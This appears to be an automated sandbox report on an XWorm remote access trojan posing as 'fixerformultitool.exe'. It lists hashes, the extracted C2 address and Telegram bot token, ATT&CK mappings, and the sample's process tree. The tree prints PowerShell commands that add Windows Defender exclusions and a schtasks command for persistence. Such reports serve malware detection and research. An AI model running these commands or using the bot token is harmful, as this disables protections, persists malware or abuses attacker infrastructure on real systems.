xworm | 014f0079149caead324ea0d3adb18d65f607662b8725da7fec7628de4acf828f

General

Target

fixerformultitool.exe
Size

79KB
MD5

2f7fb28cf91e8ccb2257834f9136cfd6
SHA1

b8f0f86c33bf46a8af745caf4bc0a8d5878e75f1
SHA256

014f0079149caead324ea0d3adb18d65f607662b8725da7fec7628de4acf828f
SHA512

4e0b8e0268346ddcd5c23d34c8c556eef66994d8c01f06bb5bd19cf1c25f00ee76ad8d0e1edb012ed64ba86a63cbcdb806595cc7d9dfc8ef4d31a4b6ef99c236
SSDEEP

1536:KPlF7XxO2o6rx59bm1AXR8x8KG6GaOD2srtdn+6:KrXcID9bm1k9KHOD2sr/+6

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

bad-motor.gl.at.ply.gg:4444

Attributes

Install_directory
%AppData%
install_file
USB.exe
telegram
https://api.telegram.org/bot7704029346:AAHPre1lXQa0UfPCpOUXJZ9UXA9mFxvH4Gk/sendMessage?chat_id=7590668020

Signatures

Detect Xworm Payload 3 IoCs

resource	yara_rule
behavioral1/memory/2252-1-0x0000000000D40000-0x0000000000D5A000-memory.dmp	family_xworm
behavioral1/files/0x0009000000012101-34.dat	family_xworm
behavioral1/memory/3008-36-0x00000000013E0000-0x00000000013FA000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2372	powershell.exe
2708	powershell.exe
2824	powershell.exe
2300	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\security.lnk	fixerformultitool.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\security.lnk	fixerformultitool.exe

Executes dropped EXE 2 IoCs

pid	Process
3008	security
2180	security

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Windows\CurrentVersion\Run\security = "C:\\Users\\Admin\\AppData\\Roaming\\security"	fixerformultitool.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2688	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2252	fixerformultitool.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2372	powershell.exe
2708	powershell.exe
2824	powershell.exe
2300	powershell.exe
2252	fixerformultitool.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	2252	fixerformultitool.exe
Token: SeDebugPrivilege	2372	powershell.exe
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeDebugPrivilege	2300	powershell.exe
Token: SeDebugPrivilege	2252	fixerformultitool.exe
Token: SeDebugPrivilege	3008	security
Token: SeDebugPrivilege	2180	security

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2252	fixerformultitool.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 2252 wrote to memory of 2372	2252	fixerformultitool.exe	31
PID 2252 wrote to memory of 2372	2252	fixerformultitool.exe	31
PID 2252 wrote to memory of 2372	2252	fixerformultitool.exe	31
PID 2252 wrote to memory of 2708	2252	fixerformultitool.exe	33
PID 2252 wrote to memory of 2708	2252	fixerformultitool.exe	33
PID 2252 wrote to memory of 2708	2252	fixerformultitool.exe	33
PID 2252 wrote to memory of 2824	2252	fixerformultitool.exe	35
PID 2252 wrote to memory of 2824	2252	fixerformultitool.exe	35
PID 2252 wrote to memory of 2824	2252	fixerformultitool.exe	35
PID 2252 wrote to memory of 2300	2252	fixerformultitool.exe	37
PID 2252 wrote to memory of 2300	2252	fixerformultitool.exe	37
PID 2252 wrote to memory of 2300	2252	fixerformultitool.exe	37
PID 2252 wrote to memory of 2688	2252	fixerformultitool.exe	39
PID 2252 wrote to memory of 2688	2252	fixerformultitool.exe	39
PID 2252 wrote to memory of 2688	2252	fixerformultitool.exe	39
PID 2044 wrote to memory of 3008	2044	taskeng.exe	43
PID 2044 wrote to memory of 3008	2044	taskeng.exe	43
PID 2044 wrote to memory of 3008	2044	taskeng.exe	43
PID 2044 wrote to memory of 2180	2044	taskeng.exe	45
PID 2044 wrote to memory of 2180	2044	taskeng.exe	45
PID 2044 wrote to memory of 2180	2044	taskeng.exe	45

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\fixerformultitool.exe
"C:\Users\Admin\AppData\Local\Temp\fixerformultitool.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\fixerformultitool.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'fixerformultitool.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\security'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'security'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2300
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "security" /tr "C:\Users\Admin\AppData\Roaming\security"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2688

C:\Windows\system32\taskeng.exe
taskeng.exe {36AC1D62-6280-4E29-AEAA-CBD516BAD7EE} S-1-5-21-312935884-697965778-3955649944-1000:MXQFNXLT\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:2044
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3008
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2180

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
4dff81d00779302dec27fe3a092ae946

SHA1
7974ff75f95a8d16cb68f816141885f7152ba9eb

SHA256
5bb297b1a60d29c85e7f2d7b29c24ac01db31fab379a9f9e162ed9cc33805035

SHA512
aad5bae8143caa0f8fd97013fcac8d0820efaf2223b14a4da759dd56619e766f4f0de3065b05bf9a1515e8b2758b6b6739eb570263b76146d6c0ba8e04e9692c

Download Submit
C:\Users\Admin\AppData\Roaming\security

Filesize
79KB

MD5
2f7fb28cf91e8ccb2257834f9136cfd6

SHA1
b8f0f86c33bf46a8af745caf4bc0a8d5878e75f1

SHA256
014f0079149caead324ea0d3adb18d65f607662b8725da7fec7628de4acf828f

SHA512
4e0b8e0268346ddcd5c23d34c8c556eef66994d8c01f06bb5bd19cf1c25f00ee76ad8d0e1edb012ed64ba86a63cbcdb806595cc7d9dfc8ef4d31a4b6ef99c236

Download Submit
memory/2252-1-0x0000000000D40000-0x0000000000D5A000-memory.dmp

Filesize
104KB

Download
memory/2252-0-0x000007FEF5A23000-0x000007FEF5A24000-memory.dmp

Filesize
4KB

Download
memory/2252-32-0x000000001ACC0000-0x000000001AD40000-memory.dmp

Filesize
512KB

Download
memory/2252-31-0x000007FEF5A23000-0x000007FEF5A24000-memory.dmp

Filesize
4KB

Download
memory/2252-30-0x000000001ACC0000-0x000000001AD40000-memory.dmp

Filesize
512KB

Download
memory/2372-7-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2372-8-0x00000000021D0000-0x00000000021D8000-memory.dmp

Filesize
32KB

Download
memory/2372-6-0x0000000002210000-0x0000000002290000-memory.dmp

Filesize
512KB

Download
memory/2708-15-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2708-14-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download
memory/3008-36-0x00000000013E0000-0x00000000013FA000-memory.dmp

Filesize
104KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads